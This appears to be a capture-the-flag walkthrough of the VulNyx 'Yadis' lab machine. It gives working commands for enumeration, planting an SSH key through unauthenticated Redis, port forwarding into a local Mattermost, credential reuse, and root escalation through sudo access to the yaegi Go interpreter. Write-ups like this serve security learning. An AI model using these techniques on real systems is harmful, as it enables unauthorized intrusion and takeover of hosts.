1. 🔍 Enumeration

Nmap

└─$ nmap -p- -T4 192.168.100.41              
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-09 15:28 +05
Nmap scan report for yadis.nyx (192.168.100.41)
Host is up (0.00012s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
6379/tcp open  redis
8443/tcp open  https-alt
MAC Address: 08:00:27:E9:D5:B5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 0.92 seconds

WEB (80)

Added to hosts file:

echo "192.168.100.41 yadis.nyx" | sudo tee -a /etc/hosts

Here in web, I got only staff names, no vhosts, no other folders found:

SMB

I’ve scanned smb and got open share announcements

smbclient -L  //192.168.100.41/ -U                 
Password for [WORKGROUP\abdulhamid]:        Sharename       Type      Comment
        ---------       ----      -------
        announcements   Disk      Announcements
        IPC$            IPC       IPC Service (File Server)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 192.168.100.41 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

then downloaded all 4 PDF files:

smbclient //192.168.100.41/announcements                
Password for [WORKGROUP\abdulhamid]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Aug  8 08:32:23 2025
  ..                                  D        0  Thu Aug  7 01:05:45 2025
  Phishing_Awareness_Training.pdf      N    28154  Thu Aug  7 05:46:07 2025
  Security_Incident_Response.pdf      N    26915  Fri Aug  8 08:32:23 2025
  Holiday_Schedule_2025.pdf           N    25231  Thu Aug  7 05:45:55 2025
  WiFi_Password_Change_Notice.pdf      N    25724  Thu Aug  7 05:46:39 2025                39987708 blocks of size 1024. 33198308 blocks available
smb: \> get Phishing_Awareness_Training.pdf 
getting file \Phishing_Awareness_Training.pdf of size 28154 as Phishing_Awareness_Training.pdf (429.6 KiloBytes/sec) (average 429.6 KiloBytes/sec)
smb: \>

Getting info

Wrote down all info from web and PDFs:

users:
walter.white
alice.whaley
thomas.price
marie.shannon
xero.pencert
rodney.gleason
sarah.mitchell
robert.chen
michael.torresemail type: 
user@yadis.nyx
passwords:
SecureNet_Feb2025!
4bNyx5oft12E!

2.🪝Initial Foothold via Redis

Connecting with redis-cli confirmed I had unauthenticated access:

redis-cli -h 192.168.100.41
192.168.100.41:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis/.ssh"

Perfect — the Redis data directory was inside the .ssh folder, meaning I could drop my own SSH key and log in as the redis user.

Steps taken:

Generated SSH keys locally:

ssh-keygen -t rsa

2. Imported my public key into Redis:

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
cat spaced_key.txt | redis-cli -h 192.168.100.41 -x set ssh_key

3. Saved it as authorized_keys:

redis-cli -h 192.168.100.41
> CONFIG SET dir /var/lib/redis/.ssh
> CONFIG SET dbfilename "authorized_keys"
> SAVE

After that, I could log in directly:

ssh -i ~/.ssh/id_rsa redis@192.168.100.41

3. 🔀 Pivot to Internal Service

Inside the Redis account, netstat revealed something interesting:

127.0.0.1:8065  LISTEN

Port 8065 was only accessible locally, which smelled like an internal Mattermost service. I used SSH port forwarding from my attack machine:

ssh -i ~/.ssh/id_rsa -L 8065:127.0.0.1:8065 redis@192.168.100.41

Accessing http://127.0.0.1:8065 in my browser confirmed it — a Mattermost instance.

4. 🔑 Credential Discovery

I started matching usernames to the email format and testing the passwords. When I tried:

Username: rodney.gleason@yadis.nyx  
Password: 4bNyx5oft12E!

— it worked.

Get Abdulhamid’s stories in your inbox

Join Medium for free to get updates from this writer.

Digging around the Mattermost instance development chat revealed credentials for a developer user.

password: i84hche3y22idd

Then SSH’d in:

ssh developer@192.168.100.41

— and got user.txt

5. 🔓 Privilege Escalation with Yaegi

Running sudo -l revealed something very interesting:

User developer may run the following commands on yadis:
    (root) /usr/local/bin/yaegi

yaegi is an interactive Go interpreter.

Being able to run it as root means we can execute arbitrary Go code with full privileges.

Instead of trying to spawn a direct shell (which can be messy in Yaegi), I opted to drop my SSH public key into root’s authorized_keys file. This way, I could cleanly SSH in as root afterward.

Here’s the process:


sudo /usr/local/bin/yaegi

Inside Yaegi:

import "os"// Open (or create) root's authorized_keys file with append permission
f, _ := os.OpenFile("/root/.ssh/authorized_keys", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
// Add my attacking machine's public key
f.WriteString("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...your_pubkey_here...\n")
f.Close()

Then, from my attacking machine:

ssh root@192.168.100.41

💥 Root shell acquired.

6. Root Flag

From here, it was just a matter of:

cat root.txt

💡 Lessons Learned

Redis with no auth is a goldmine — dropping SSH keys is quick and stealthy.
Port forwarding is essential for exposing internal services during a pivot.
Uncommon interpreters like yaegi can be powerful privilege escalation vectors.
Always check sudo -l — sometimes the path to root is hiding in plain sight.

#cybersecurity #hacking #writeup #vulnyx #ctf #linux #redis

Hacking Yadis on VulNyx — A Full Walkthrough